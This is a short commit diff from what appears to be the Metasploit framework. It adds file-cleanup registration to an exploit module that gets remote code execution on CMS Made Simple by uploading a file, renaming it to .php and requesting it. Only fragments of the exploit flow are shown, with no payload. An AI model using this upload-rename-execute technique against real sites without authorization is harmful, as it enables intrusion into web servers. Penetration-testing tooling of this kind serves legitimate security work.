Land #10405, Cleanup dropped files for CMSMS

modules/exploits/multi/http/cmsms_upload_rename_rce.rb

@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
 
   def initialize(info = {})
     super(update_info(info,
@@ -163,6 +164,8 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     vprint_good("#{peer} - File renamed #{filename}.php")
 
+    register_files_for_cleanup("#{filename}.txt", "#{filename}.php")
+
     res = send_request_cgi({
       'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"),
       'method' => 'GET',